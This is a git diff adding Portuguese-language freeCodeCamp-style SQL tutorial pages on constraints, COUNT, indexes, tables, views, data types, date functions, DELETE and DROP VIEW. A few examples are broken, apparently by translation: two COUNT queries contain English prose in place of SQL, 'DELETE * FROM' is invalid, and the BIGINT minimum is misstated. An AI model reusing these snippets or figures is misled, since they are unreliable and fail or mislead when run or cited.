+```
+
+**SQL Server / Oracle / MS Access:**
+
+```sql
+CREATE TABLE Persons ( 
+    ID int NOT NULL, 
+    LastName varchar(255) NOT NULL, 
+    FirstName varchar(255), 
+    Age int CHECK (Age>=18) 
+ ); 
+```
+
+Para permitir a nomeação de uma restrição CHECK e para definir uma restrição CHECK em várias colunas, use a seguinte sintaxe SQL:
+
+**MySQL / SQL Server / Oracle / MS Access:**
+
+```sql
+CREATE TABLE Persons ( 
+    ID int NOT NULL, 
+    LastName varchar(255) NOT NULL, 
+    FirstName varchar(255), 
+    Age int, 
+    City varchar(255), 
+    CONSTRAINT CHK_Person CHECK (Age>=18 AND City='Sandnes') 
+ ); 
+```
+
+### SQL CHECK em ALTER TABLE
+
+Para criar uma restrição CHECK na coluna "Idade" quando a tabela já estiver criada, use o seguinte SQL:
+
+**MySQL / SQL Server / Oracle / MS Access:**
+
+```sql
+ALTER TABLE Persons 
+ ADD CHECK (Age>=18); 
+```
+
+Para permitir a nomeação de uma restrição CHECK e para definir uma restrição CHECK em várias colunas, use a seguinte sintaxe SQL:
+
+**MySQL / SQL Server / Oracle / MS Access:**
+
+```sql
+ALTER TABLE Persons 
+ ADD CONSTRAINT CHK_PersonAge CHECK (Age>=18 AND City='Sandnes'); 
+```
+
+### DROP uma restrição CHECK
+
+Para descartar uma restrição CHECK, use o seguinte SQL:
+
+**SQL Server / Oracle / MS Access:**
+
+```sql
+ALTER TABLE Persons 
+ DROP CONSTRAINT CHK_PersonAge; 
+```
+
+**MySQL:**
+
+```sql
+ALTER TABLE Persons 
+ DROP CHECK CHK_PersonAge; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-count-function/index.md b/client/src/guide/portuguese/sql/sql-count-function/index.md
new file mode 100644
index 0000000000..a5e8a78479
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-count-function/index.md
@@ -0,0 +1,59 @@
+---
+title: SQL COUNT Aggregate Function
+localeTitle: Função Agregada do SQL COUNT
+---
+## Função Agregada do SQL COUNT
+
+O operador COUNT geralmente é usado em combinação com uma cláusula GROUP BY. É uma das funções "agregadas" do SQL, que inclui AVG (média) e SUM.
+
+Essa função contará o número de linhas e retornará essa contagem como uma coluna no conjunto de resultados.
+
+Veja alguns exemplos de como você usa COUNT:
+
+*   Contando todas as linhas em uma tabela (sem grupo por obrigatório)
+*   Contando os totais de subconjuntos de dados (requer uma seção Agrupar por da instrução)
+
+Para referência, aqui estão os dados atuais para todas as linhas em nosso exemplo de banco de dados de alunos.
+
+```sql
+select studentID, FullName, programOfStudy, sat_score from student; -- all records with fields of interest 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/count01.JPG?raw=true)
+
+Esta instrução SQL fornece uma contagem de todas as linhas. Observe que você pode atribuir um nome à coluna COUNT resultante usando "AS".
+
+```sql
+select count(*) AS studentCount from student; -- count of all records 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/count02.JPG?raw=true)
+
+Aqui temos uma contagem de estudantes em cada área de estudo.
+
+```sql
+ select studentID, FullName, count(*) AS studentCount from the student table with a group by programOfStudy; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/count03.JPG?raw=true)
+
+Aqui temos uma contagem de alunos com as mesmas pontuações do SAT.
+
+```sql
+ select studentID, FullName, count(*) AS studentCount from the student table with a group by sat_score; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/count04.JPG?raw=true)
+
+Aqui está um exemplo usando a tabela de fundos da campanha. Esta é uma soma total dos dólares em cada transação e o número de contribuições para cada partido político durante a campanha presidencial dos EUA em 2016.
+
+```sql
+select Specific_Party, Election_Year, format(sum(Total_$),2) AS contribution$Total, count(*) AS numberOfContributions 
+ from combined_party_data 
+ group by Specific_Party,Election_Year 
+ having Election_Year = 2016; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/count05.JPG?raw=true)
+
+Tal como acontece com todas estas coisas, há muito mais do que isso, por isso, consulte o manual do seu gestor de bases de dados e divirta-se a experimentar diferentes testes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-create-index-statement/index.md b/client/src/guide/portuguese/sql/sql-create-index-statement/index.md
new file mode 100644
index 0000000000..a462ac5419
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-create-index-statement/index.md
@@ -0,0 +1,38 @@
+---
+title: SQL CREATE INDEX Statement
+localeTitle: Instrução SQL CREATE INDEX
+---
+## Instrução SQL CREATE INDEX
+
+Essa instrução é usada para criar um "índice" em uma coluna em uma tabela existente.
+
+Pontos-chave nos índices:
+
+*   Eles são usados ​​para melhorar a eficiência das pesquisas de dados, apresentando os dados em uma ordem específica, ao unir tabelas (consulte os Guias "JOIN") e muito mais.
+*   Um índice é um objeto "sistema", o que significa que é usado pelo gerenciador do banco de dados.
+*   Parte desse uso é para o gerenciador do banco de dados atualizar o índice quando os dados usados ​​pelo índice forem alterados na tabela relacionada. Tenha isso em mente, pois à medida que o número de índices aumenta em um banco de dados, o desempenho geral do sistema pode ser afetado.
+*   Se você achar que seus SQLs estão sendo lentos em uma determinada tabela ou tabelas, criar um índice é a primeira coisa a considerar para corrigir o problema.
+
+Aqui está um exemplo da sintaxe da declaração Create Index. Observe que a sintaxe permite que um índice seja mais de uma coluna.
+
+```sql
+CREATE INDEX index_name 
+ ON table_name (column1, column2, ...); 
+```
+
+Criando um novo índice no campo da tabela do aluno, programOfStudy. Para referência, aqui está a definição atual da tabela de alunos.
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/create-index-statement01.JPG?raw=true)
+
+Aqui está uma instrução para criar o índice e uma captura de tela da definição atualizada da tabela:
+
+```sql
+create index pStudyIndex 
+ on student (programOfStudy); 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/create-index-statement02.JPG?raw=true)
+
+No MySQL, você usa o comando ALTER TABLE para alterar e descartar índices. O MySQL Workbench também fornece ferramentas GUI para gerenciar índices.
+
+Como acontece com todas essas coisas, há muito mais do que isso, por isso, consulte o manual do gerenciador de banco de dados e divirta-se experimentando opções diferentes.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-create-index/index.md b/client/src/guide/portuguese/sql/sql-create-index/index.md
new file mode 100644
index 0000000000..03a5a005e0
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-create-index/index.md
@@ -0,0 +1,74 @@
+---
+title: SQL CREATE INDEX Statement
+localeTitle: Instrução SQL CREATE INDEX
+---
+A instrução CREATE INDEX é usada para criar índices em tabelas.
+
+Os índices são usados ​​para recuperar dados do banco de dados muito rapidamente. Os usuários não podem ver os índices, eles são usados ​​apenas para acelerar pesquisas / consultas.
+
+> **Nota:** Atualizar uma tabela com índices leva mais tempo do que atualizar uma tabela sem (porque os índices também precisam de uma atualização). Portanto, crie apenas índices em colunas que serão pesquisadas com frequência.
+
+#### Sintaxe CREATE INDEX
+
+Cria um índice em uma tabela. Valores duplicados são permitidos:
+
+```sql
+CREATE INDEX index_name 
+ ON table_name (column1, column2, ...); 
+```
+
+#### CRIAR SINTAXA DE ÍNDICE ÚNICO
+
+Cria um índice exclusivo em uma tabela. Valores duplicados não são permitidos:
+
+```sql
+CREATE UNIQUE INDEX index_name 
+ ON table_name (column1, column2, ...); 
+```
+
+> **Nota:** A sintaxe para criação de índices varia entre diferentes bancos de dados. Portanto: Verifique a sintaxe para criar índices em seu banco de dados.
+
+#### Exemplo de CREATE INDEX
+
+A instrução SQL abaixo cria um índice chamado "idx\_lastname" na coluna "LastName" na tabela "Persons":
+
+```sql
+CREATE INDEX idx_lastname 
+ ON Persons (LastName); 
+```
+
+Se você quiser criar um índice em uma combinação de colunas, poderá listar os nomes das colunas entre parênteses, separados por vírgulas: CREATE INDEX idx\_pname
+
+```sql
+ON Persons (LastName, FirstName); 
+```
+
+#### Declaração DROP INDEX
+
+A instrução DROP INDEX é usada para excluir um índice em uma tabela.
+
+**MS Access:**
+
+```sql
+DROP INDEX index_name ON table_name; 
+```
+
+**Servidor SQL:**
+
+```sql
+DROP INDEX table_name.index_name; 
+```
+
+**DB2 / Oracle:**
+
+```sql
+DROP INDEX index_name; 
+```
+
+**MySQL:**
+
+```sql
+ALTER TABLE table_name 
+ DROP INDEX index_name; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-create-table-statement/index.md b/client/src/guide/portuguese/sql/sql-create-table-statement/index.md
new file mode 100644
index 0000000000..114602b550
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-create-table-statement/index.md
@@ -0,0 +1,30 @@
+---
+title: SQL Create Table Statement
+localeTitle: Instrução Criar Tabela SQL
+---
+## Instrução Criar Tabela SQL
+
+Uma tabela é um grupo de dados armazenados em um banco de dados.
+
+Para criar uma tabela em um banco de dados, use a instrução `CREATE TABLE` . Você dá um nome à tabela e uma lista de colunas com seus tipos de dados.
+```
+CREATE TABLE TABLENAME(Attribute1 Datatype, Attribute2 Datatype,........); 
+```
+
+Aqui está um exemplo criando uma tabela chamada Person:
+
+```sql
+CREATE TABLE Person( 
+  Id int not null, 
+  Name varchar not null, 
+  DateOfBirth date not null, 
+  Gender bit not null, 
+  PRIMARY KEY( Id ) 
+ ); 
+```
+
+No exemplo acima, cada pessoa tem um nome, uma data de nascimento e um sexo. A coluna Id é a chave que identifica uma pessoa na tabela. Você usa a palavra-chave `PRIMARY KEY` para configurar uma ou mais colunas como uma chave primária.
+
+Uma coluna pode `not null` ser `not null` ou `null` indicando se é obrigatória ou não.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-create-table/index.md b/client/src/guide/portuguese/sql/sql-create-table/index.md
new file mode 100644
index 0000000000..b005248b9b
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-create-table/index.md
@@ -0,0 +1,131 @@
+---
+title: SQL Create Table
+localeTitle: SQL Create Table
+---
+# SQL CREATE TABLE
+
+## Introdução
+
+Este guia é uma visão geral dos fundamentos das funções SQL `CREATE TABLE` .
+
+Nós estaremos usando o MySQL para todos os exemplos através destes guias freeCodeCamp SQL. O MySQL é usado frequentemente em sites para o banco de dados de backend, 2) é grátis e é divertido e fácil de usar.
+
+## Coberto neste guia
+
+*   Criando um esquema, o contêiner para todos os nossos objetos de banco de dados.
+*   Crie uma tabela para termos algo a alterar.
+*   Criando uma tabela importando um arquivo CSV e alterando essa tabela
+*   Criando uma tabela usando a ferramenta de bancada do MySQL
+
+Fazemos a maior parte deste trabalho com instruções SQL na ferramenta de script do MySQL workbench. Também veremos como criar uma tabela usando a interface do ambiente de trabalho em vez de usar instruções SQL.
+
+## Estrutura de alto nível de um banco de dados relacional
+
+1.  Mais alto nível; O banco de dados; a instalação do sistema de banco de dados. Neste caso, é o MySQL. Chamado de “Local MySQL Router” nas capturas de tela acima.
+2.  Em seguida é um esquema; um contêiner para os objetos necessários para gerenciar dados em um sistema de banco de dados relacional.
+3.  Objetos que criamos (tabelas, índices, procedimentos armazenados, funções) para gerenciar o sistema e seus dados
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/create_table01.JPG?raw=true)
+
+## Criando um esquema MySQL
+
+O esquema é um contêiner para os objetos necessários para gerenciar os dados de um determinado assunto ou processo. Mostramos exemplos à medida que avançamos neste guia.
+
+Vamos criar o esquema para nosso aprendizado e teste usando o comando SQL;
+```
+create database fCC_alterTableGuide; 
+```
+
+Esta estrutura de esquema de instâncias antes de executar este comando
+
+![image-2](https://github.com/SteveChevalier/guide-images/blob/master/create_table02.JPG?raw=true)
+
+Esta estrutura de esquema de instâncias depois de executar a instrução SQL
+
+![image-3](https://github.com/SteveChevalier/guide-images/blob/master/create_table03.JPG?raw=true)
+
+## Criando uma tabela, adicione dados de teste com "insert", renomeie a tabela (alter)
+
+Nós vamos criar uma tabela de alunos.
+
+Os passos serão:
+
+1.  certifique-se de que não temos a mesa já
+    
+2.  crie a mesa
+    
+3.  insira os dados de teste.
+    
+
+*   Tipos de dados: o nome do aluno é um campo de caractere limitado a 90 caracteres
+*   O ID do aluno é um número (inteiro) (intervalo de -2147483648 a 2147483647). Essa será a chave primária da tabela e será incrementada automaticamente quando um registro for adicionado.
+*   Haverá também dois campos de "carimbo de tempo" para jogar também
+
+Criar declaração e exibição de resultados da execução;
+
+![image-4](https://github.com/SteveChevalier/guide-images/blob/master/create_table04.JPG?raw=true)
+
+Usando uma instrução Select, veremos que a tabela está lá, mas agora os registros foram adicionados.
+
+![image-5](https://github.com/SteveChevalier/guide-images/blob/master/create_table05.JPG?raw=true)
+
+Agora, para inserir alguns dados e ver como é nossa nova tabela com registros nela (e entender criar e atualizar registros de data e hora);
+
+![image-6](https://github.com/SteveChevalier/guide-images/blob/master/create_table06.JPG?raw=true)
+
+O primeiro registro de data e hora é o horário e os dados de criação e o segundo é a data e hora de atualização. Alterar um registro deve atualizar ts2, mas não ts1. Vamos dar uma olhada.
+
+![image-7](https://github.com/SteveChevalier/guide-images/blob/master/create_table07.JPG?raw=true)
+
+## Crie uma tabela com o MySql Workbench
+
+Clique com o botão direito do mouse em "Tabelas" no esquema no qual você deseja colocar o novo arquivo. Selecione Criar Tabela.
+
+![image-8](https://github.com/SteveChevalier/guide-images/blob/master/create_table08.JPG?raw=true)
+
+Preencha o formulário conforme desejado e clique em Aplicar
+
+![image-9](https://github.com/SteveChevalier/guide-images/blob/master/create_table09.JPG?raw=true)
+
+## Criar tabela como selecionar (CTAS)
+
+Uma maneira rápida de criar uma cópia de uma tabela, incluindo dados, é criar uma tabela como selecionar.
+
+CREATE TABLE minha _tabela como (SELECT \* FROM orig_ tbl);
+
+## Crie e preencha uma tabela importando um arquivo CSV
+
+Clique com o botão direito do mouse em "Tabelas" no esquema no qual deseja que o novo arquivo seja colocado. Selecione Importação de dados da tabela.
+
+![image-10](https://github.com/SteveChevalier/guide-images/blob/master/create_table10.JPG?raw=true)
+
+Selecione o arquivo CSV para importar e clique em PRÓXIMO Normalmente você cria uma nova tabela a partir dos dados, seleciona as opções desejadas e clica em NEXT
+
+![image-11](https://github.com/SteveChevalier/guide-images/blob/master/create_table11.JPG?raw=true)
+
+Ajuste os tipos de dados conforme necessário e clique em PRÓXIMO
+
+![image-12](https://github.com/SteveChevalier/guide-images/blob/master/create_table12.JPG?raw=true)
+
+Clique em PRÓXIMO (nesta tela e no próximo que é exibido) para importar os dados para a tabela. Você verá o status de conclusão, revisar e clicar em FINISH
+
+![image-13](https://github.com/SteveChevalier/guide-images/blob/master/create_table13.JPG?raw=true)
+
+![image-14](https://github.com/SteveChevalier/guide-images/blob/master/create_table14.JPG?raw=true)
+
+## Outro material
+
+Há muito mais detalhes para cobrir este tópico, então instale o MySQL e divirta-se!
+
+### Onde obter o MySQL
+
+Tente \[este download para usuários do Windows \[(https://dev.mysql.com/downloads/windows/)
+
+### Documentação do MySQL
+
+*   [página de manual](https://dev.mysql.com/doc/refman/5.7/en/alter-table.html)
+*   [exemplos do manual](https://dev.mysql.com/doc/refman/5.7/en/alter-table-examples.html)
+
+### Documentação do SQL Server
+
+*   [Microsoft Docs](https://docs.microsoft.com/en-us/sql/t-sql/statements/create-table-transact-sql)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-create-view-statement/index.md b/client/src/guide/portuguese/sql/sql-create-view-statement/index.md
new file mode 100644
index 0000000000..82a6f2d45a
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-create-view-statement/index.md
@@ -0,0 +1,78 @@
+---
+title: SQL Create View Statement
+localeTitle: SQL Create View Statement
+---
+## SQL Create View Statement
+
+### O que é uma visão?
+
+Uma Visualização é um objeto de banco de dados que apresenta dados existentes em uma ou mais tabelas. As visualizações são usadas de maneira semelhante às tabelas, mas não contêm dados. Eles apenas "apontam" para os dados que existem em outro lugar (tabelas ou visualizações, por exemplo).
+
+### Por que nós gostamos deles?
+
+*   As visualizações são uma maneira de limitar os dados apresentados. Por exemplo, os dados do departamento de recursos humanos foram filtrados para apresentar apenas informações não sensíveis. As informações confidenciais, nesse caso, podem ser números de seguridade social, sexo do funcionário, taxa de pagamento, endereço residencial, etc.
+*   Dados complexos em mais de uma tabela podem ser combinados em uma única "visualização". Isso pode facilitar a vida de seus analistas e programadores de negócios.
+
+### Dicas importantes de segurança
+
+*   As visualizações são gerenciadas pelo sistema. Quando os dados nas tabelas relacionadas são alterados, adicionados ou atualizados, a Visualização é atualizada pelo sistema. Queremos usá-los somente quando necessário para gerenciar o uso dos recursos do sistema.
+*   No MySQL, as mudanças no design da tabela (ou seja, colunas novas ou descartadas) feitas após a criação de uma visão não são atualizadas na visão em si. A visão teria que ser atualizada ou recriada.
+*   As exibições são um dos quatro tipos de objeto de banco de dados padrão. Os outros são tabelas, procedimentos armazenados e funções.
+*   As visualizações geralmente podem ser tratadas como você faria com uma tabela, mas as atualizações são limitadas ou não estão disponíveis quando a visualização contém mais de uma tabela.
+*   Há muitos outros detalhes sobre visualizações que estão além do escopo deste guia introdutório. Gastar tempo com seu manual de gerenciadores de banco de dados e se divertir com este poderoso objeto SQL.
+
+### Sintaxe da instrução Create View (MySQL)
+
+```sql
+CREATE 
+    [OR REPLACE] 
+    [ALGORITHM = {UNDEFINED | MERGE | TEMPTABLE}] 
+    [DEFINER = { user | CURRENT_USER }] 
+    [SQL SECURITY { DEFINER | INVOKER }] 
+    VIEW view_name [(column_list)] 
+    AS select_statement 
+    [WITH [CASCADED | LOCAL] CHECK OPTION] 
+```
+
+_Este guia irá cobrir esta parte da declaração…._
+
+```sql
+CREATE 
+    VIEW view_name [(column_list)] 
+    AS select_statement 
+```
+
+### Criação de amostra de visualização das tabelas dos alunos
+
+Notas:
+
+*   O nome da visualização tem um "v" no final. É recomendável que o nome da visualização indique que é uma visão de alguma forma para facilitar a vida de programadores e administradores de banco de dados. Sua loja de TI deve ter suas próprias regras para nomear objetos.
+    
+*   As colunas na exibição são limitadas pelo SELECT e pelas linhas de dados pela cláusula WHERE.
+    
+*   o caractere "\` "em torno dos nomes da visualização é necessário devido ao" - "nos nomes. MySQL relata um erro sem eles.
+    
+
+```sql
+create view `programming-students-v` as 
+ select FullName, programOfStudy 
+ from student 
+ where programOfStudy = 'Programming'; 
+ 
+ select * from `programming-students-v`; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/create-view-statement01.JPG?raw=true)
+
+### Exemplo de uso de uma visualização para combinar dados de mais de uma tabela
+
+Uma tabela de dados demográficos do aluno foi adicionada ao banco de dados para demonstrar esse uso. Essa visão combinará essas tabelas.
+
+Notas:
+
+*   Para "unir" tabelas, as tabelas devem ter campos em comum (geralmente chaves primárias) que identificam exclusivamente cada linha. Neste caso, é o ID do aluno. (Mais sobre isso no guia [SQL Joins](../sql-joins/index.md) .)
+*   Observe o "alias" dado a cada tabela ("s" para aluno e "sc" para contato do aluno). Esta é uma ferramenta para encurtar os nomes das tabelas e facilitar a identificação de qual tabela está sendo usada. É mais fácil do que digitar nomes extensos de tabela repetidamente. Neste exemplo, foi necessário porque studentID é o mesmo nome de coluna nas duas tabelas e o sistema apresentaria um "erro de nome de coluna ambíguo" sem especificar qual tabela usar.
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/create-view-statement02.JPG?raw=true)
+
+_Como com todas essas coisas, há MUITO MAIS para Views. Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes._
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-data-types/index.md b/client/src/guide/portuguese/sql/sql-data-types/index.md
new file mode 100644
index 0000000000..be4ca271a1
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-data-types/index.md
@@ -0,0 +1,25 @@
+---
+title: SQL Data Types
+localeTitle: Tipos de dados SQL
+---
+# Tipos de dados SQL
+
+Cada coluna em uma tabela deve ter um tipo de dados. Indica o tipo de valor que a coluna armazena.
+
+Cada banco de dados pode aceitar diferentes tipos de dados, mas, em geral, a lista de tipos de dados é:
+
+### Tipos de Strings
+
+Tipo de dados | Descrição ------------ | ------------- `CHAR(n)` | Cadeia de caracteres. Comprimento fixo n. O comprimento mínimo é 1. Se você atribuir um valor a uma coluna CHAR contendo menos caracteres que o comprimento definido, o espaço restante será preenchido com caracteres em branco. `VARCHAR(n)` | Cadeia de caracteres. Comprimento variável. Comprimento máximo n. Comprimento mínimo é 1 `BINARY(n)` | Corda binária. Comprimento fixo n `VARBINARY(n)` ou `VARBINARY(n)` `BINARY VARYING(n)` | Corda binária. Comprimento variável. Comprimento máximo n
+
+### Tipos numéricos
+
+Tipo de dados | Descrição ------------ | ------------- `INTEGER` | Número inteiro numérico. De -2.147.483.648 para 2.147.483.647. `SMALLINT` | Número inteiro numérico. De -32.768 a 32.767 `BIGINT` | Número inteiro numérico. De -22.223.372.036.854.775.808 para 9.223.372.036.854.775.807 `DECIMAL(p,s)` ou `NUMERIC(p,s)` | Exacto numérico, precisão p, escala s. Precisão é o número total máximo de dígitos decimais que serão armazenados, tanto à esquerda quanto à direita do ponto decimal. Escala é o número de dígitos decimais que serão armazenados à direita do ponto decimal. Esse número é subtraído de p para determinar o número máximo de dígitos à esquerda do ponto decimal. Exemplo: decimal (5,2) é um número que tem 3 dígitos antes do decimal e 2 dígitos após o decimal. `FLOAT(p)` | Precisão numérica aproximada, p. Um número flutuante na notação exponencial de base 10. O argumento de tamanho para este tipo consiste em um único número especificando a precisão mínima `REAL` | Precisão numérica e aproximada aproximada 7 `FLOAT` | Precisão numérica e aproximada aproximada 16 `DOUBLE PRECISION` | Precisão numérica e aproximada aproximada 16
+
+### Tipos de data e hora
+
+Tipo de dados | Descrição ------------ | ------------- `DATE` | Armazena valores de ano, mês e dia `TIME` | Armazena valores de hora, minuto e segundo `DATETIME` | Armazena ano, mês, dia, hora, minuto e segundo valores `TIMESTAMP` | Armazena o número de segundos desde a época do Unix `TIME WITH TIME ZONE` | Armazena a hora do dia com o fuso horário `TIMESTAMP WITH TIME ZONE` | Armazena o registro de data e hora com o fuso horário
+
+### Outros tipos de dados
+
+Tipo de dados | Descrição ------------ | ------------- `BOOLEAN` | Armazena valores `TRUE` ou `FALSE` `ARRAY` | Uma coleção de elementos configurados e compridos `MULTISET` | Uma coleção de elementos de comprimento variável e não ordenada `XML` | Armazena dados XML
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-date-functions/index.md b/client/src/guide/portuguese/sql/sql-date-functions/index.md
new file mode 100644
index 0000000000..3fd7406bf9
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-date-functions/index.md
@@ -0,0 +1,73 @@
+---
+title: SQL Date Functions
+localeTitle: Funções de Data SQL
+---
+## Funções de Data SQL
+
+### Introdução
+
+Existem 61 Funções de Data definidas no MySQL. Não se preocupe, não vamos revisá-los todos aqui. Este guia lhe dará uma introdução a alguns dos mais comuns e exposição suficiente para você explorar confortavelmente por conta própria.
+
+Nós cobriremos:
+
+*   Obtendo a data atual
+*   Data Matemática
+*   Datas em um local onde ou tendo cláusula
+
+### Obtendo a data atual
+
+Obter a data do sistema pode ser muito útil para processar dados usando SQL.
+
+```sql
+-- current date 
+ select now(), sysdate(), current_date(), current_time(), -- date and time from the system on execution 
+ dayofyear(now()) as NumDaysSoFarThisYr, 
+ EXTRACT(YEAR FROM now()) as theYearPart, 
+ EXTRACT(YEAR_MONTH FROM now()) as theYrMonPart, 
+ date_format(now(), '%W %M %Y') as oneOfManyFormats; 
+ ; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/date-functions04.JPG)
+
+Na consulta SQL, vemos o seguinte:
+
+*   As duas primeiras colunas no resultado são duas maneiras de obter as mesmas informações: a data no sistema no momento em que o SQL é executado.
+*   As próximas duas colunas dividem apenas as partes Data e Hora da data do sistema.
+*   O próximo apresenta o "número do dia" da data do sistema neste ano. Você notará que este é um dia a mais do que a matemática mostrada no próximo exemplo.
+*   Os próximos dois extraem apenas o ano e depois o ano e o mês
+*   Por último, mas não menos importante, há um único exemplo de uma das muitas maneiras de formatar essas datas.
+
+### Data Matemática
+
+```sql
+select now(), current_date(), 
+ datediff(now(),'2017-01-01') as daysThisYear, 
+ subdate(current_date(), interval 150 day) as '150DaysAgo', 
+ adddate(now(), interval 7 day) as dateInA_Week -- date in a week 
+ ; 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/date-functions02.jpg)
+
+Aqui vemos:
+
+*   As duas primeiras colunas são apenas a data e a hora do sistema para referência.
+*   A segunda coluna é a diferença de data (data) entre o primeiro de janeiro de 2017 e a data do sistema.
+*   As duas últimas colunas são exemplos de subtração e adição de datas.
+
+### Em um lugar ou ter cláusula
+
+Aqui estão dois exemplos de uso de data em uma cláusula where:
+
+```sql
+select * from student; - to show the current data being used for the example 
+ select * from student where recordCreated < '2017-01-01'; 
+ select * from student where recordCreated < subdate(current_date(), interval 225 day); 
+```
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/date-functions03.jpg)
+
+Quanto à parte HAVING: Lembre-se, a maior parte da lógica da cláusula WHERE também funcionará na cláusula HAVING de um GROUP BY. A diferença entre os dois é que a cláusula WHERE é executada em relação aos dados completos e o HAVING é executado nos dados agregados pela cláusula GROUP BY.
+
+_Tal como acontece com todas estas coisas, há muito mais para eles do que o que está neste guia introdutório. Espero que pelo menos isso lhe dê o suficiente para começar. Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes._
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-delete-statement/index.md b/client/src/guide/portuguese/sql/sql-delete-statement/index.md
new file mode 100644
index 0000000000..8d9dc6d513
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-delete-statement/index.md
@@ -0,0 +1,35 @@
+---
+title: SQL Delete Statement
+localeTitle: Declaração de exclusão de SQL
+---
+## Declaração de exclusão de SQL
+
+Para excluir um registro em uma tabela, use a instrução `DELETE` .
+
+Seja cuidadoso. Você pode excluir todos os registros da tabela ou apenas alguns. Use a condição `WHERE` para especificar quais registros você deseja excluir. A sintaxe é:
+
+```sql
+DELETE FROM table_name 
+ WHERE condition; 
+```
+
+Aqui está um exemplo de exclusão da tabela Pessoa do registro com Id 3:
+
+```sql
+DELETE FROM Person 
+ WHERE Id = 3; 
+```
+
+Usando DELETE para remover todos os registros de uma determinada tabela
+
+```sql
+DELETE * FROM Person 
+ ; 
+```
+
+Ou, dependendo do seu RDBMS, você pode usar a instrução TRUNCATE TABLE, que exclui todos os registros de uma tabela e, dependendo do seu RDBMS, pode ou não permitir a reversão. DELETE é DML e TRUNCATE é DDL.
+
+```sql
+TRUNCATE TABLE Person; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-drop-view-statement/index.md b/client/src/guide/portuguese/sql/sql-drop-view-statement/index.md
new file mode 100644
index 0000000000..05fe19bd18
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-drop-view-statement/index.md
@@ -0,0 +1,67 @@
+---
+title: SQL Drop View Statement
+localeTitle: SQL Drop View Statement
+---
+## SQL Drop View Statement
+
+### Introdução
+
+Este guia abrange a instrução SQL para descartar (excluir) um ou mais objetos de visualização.
+
+Uma vista é um objeto que apresenta dados de uma ou mais tabelas.
+
+Nota: antes de excluir ou alterar dados ou objetos, lembre-se de ter um backup novo.
+
+Nós cobriremos:
+
+*   Usando o SQL para descartar uma tabela
+*   Usando o ambiente de trabalho para descartar uma visão
+
+Nós estaremos usando o MySQL para a demontration. Verifique o manual para esta função em outros gerenciadores de banco de dados.
+
+Vamos descartar a visualização chamada `students_dropMe_v` , que foi criada apenas para essa finalidade.
+
+### Sintaxe Básica
+
+```sql
+DROP VIEW [IF EXISTS] 
+    view_name [, view_name] ... 
+```
+
+### Drop SQL
+
+A parte se existir irá "interceptar" erros, caso a visualização não exista.
+
+```sql
+drop view if exists students_dropMe_v; 
+```
+
+A visão após a criação:
+
+![image-1](https://github.com/SteveChevalier/guide-images/blob/master/drop-view01.JPG)
+
+Acima comando executado e exibições mostradas:
+
+![image-2](https://github.com/SteveChevalier/guide-images/blob/master/drop-view02.JPG)
+
+### Usando o Workbench
+
+Da bancada de trabalho: 1) Clique com o botão direito na vista para soltar 2) selecione drop view no menu 3) Selecione ou a) execute o SQL para revisar a instrução SQL a ser executada ou b) descarte novas
+
+![image-3](https://github.com/SteveChevalier/guide-images/blob/master/drop-view03.JPG)
+
+\* Como acontece com todas essas coisas SQL, MUITO MAIS para elas é o que está neste guia introdutório. Espero que pelo menos isso lhe dê o suficiente para começar.
+
+Por favor, consulte o manual do seu gerenciador de banco de dados e divirta-se tentando opções diferentes. \*
+
+### Extra
+
+Aqui está o SQL que usei para criar a tabela que acabamos de eliminar:
+
+```sql
+create view `students_dropMe_v` as 
+ select FullName, programOfStudy 
+ from student 
+ where programOfStudy = 'Programming'; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/sql/sql-foreign-key-constraint/index.md b/client/src/guide/portuguese/sql/sql-foreign-key-constraint/index.md
new file mode 100644
index 0000000000..d92d313b86
--- /dev/null
+++ b/client/src/guide/portuguese/sql/sql-foreign-key-constraint/index.md
@@ -0,0 +1,101 @@
+---
+title: SQL Foreign Key Constraint
+localeTitle: Restrição de chave estrangeira do SQL
+---
+## Restrição de chave estrangeira do SQL
+
+Uma chave estrangeira é uma chave usada para vincular duas tabelas. A tabela com a restrição de chave estrangeira (também conhecida como "tabela filho") está conectada a outra tabela (também conhecida como "tabela pai"). A conexão é entre a restrição de chave externa da tabela filha e a chave primária da tabela pai.
+
+Restrições de chave estrangeira são usadas para ajudar a manter a consistência entre as tabelas. Por exemplo, se um registro de tabela pai for excluído e a tabela filha tiver registros, o sistema também poderá excluir os registros filhos.
+
